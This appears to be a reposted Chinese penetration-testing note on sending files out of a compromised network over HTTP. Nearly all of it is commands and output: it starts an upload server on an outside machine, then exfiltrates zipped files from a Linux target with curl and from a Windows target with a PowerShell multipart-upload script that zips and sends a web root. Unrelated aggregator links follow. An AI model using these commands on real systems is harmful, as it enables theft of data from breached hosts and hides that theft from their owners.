HTTP传文件出网

Posted 安全工搬砖笔记

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HTTP传文件出网相关的知识,希望对你有一定的参考价值。

在外网机器上运行文件服务接收服务


[email protected]:~/pentest-script/FileTransfer/HttpServer# python3 SimpleHttpUpload.py Serving HTTP on 0.0.0.0 port 8000 ...
(True, "File ‘/root/pentest-script/FileTransfer/HttpServer/mo.zip‘ upload success!", ‘by: ‘, (‘127.0.0.1‘, 41170))
127.0.0.1 - - [09/Mar/2018 08:27:55] "POST / HTTP/1.1" 200 -

SimpleHTTPUpload.py


https://github.com/xiaoxiaoleo/pentest-script/blob/master/FileTransfer/HttpServer/SimpleHttpUpload.py

1. 如果是Linux在目标机器上执行CURL发送文件


[email protected]:~/Desktop# zip test.zip test.txt 
  adding: test.txt (deflated 57%)

[email protected]:~/Desktop# curl   -F [email protected]/root/Desktop/test.zip  http://127.0.0.1:8000/ 

2. 如果是windows机器, 可以使用Powershell上传文件

zip.exe -r temp.zip  wwwroot 


$fileName = "temp.zip"
$uri = "http://192.168.224.129:8000/"
$currentPath = Convert-Path .
$filePath="$currentPath\$fileName"
$fileBin = [System.IO.File]::ReadAlltext($filePath)
$bodyLines = ("------------------------83cdc2d56002d24a","Content-Disposition: form-data; name=`"file`"; filename=`"$fileName`"","Content-Type: application/octet-stream;",$fileBin,"--------------------------83cdc2d56002d24a--$LF" ) -join  "`r`n"

Invoke-RestMethod -Uri $uri -Method Post -ContentType "multipart/form-data; boundary=------------------------83cdc2d56002d24a" -Body $bodyLines
zip.exe 

https://github.com/xiaoxiaoleo/pentest-script/blob/6aadc3b7a4922f97015c309217feb239e179a995/bat/cmd%E5%8E%8B%E7%BC%A9%E8%A7%A3%E5%8E%8B/zip.exe

首发于t00ls

以上是关于HTTP传文件出网的主要内容,如果未能解决你的问题,请参考以下文章

我的Android进阶之旅关于Android平台获取文件的mime类型:为啥不传小写后缀名就获取不到mimeType?为啥android 4.4系统获取不到webp格式的mimeType呢?(代码片段

查询出网IP

跨域访问方法介绍--使用片段识别符传值

Android - 如何将自定义对象传递给片段

如何将库类或对象传递给片段?

无回显不出网命令执行测试方式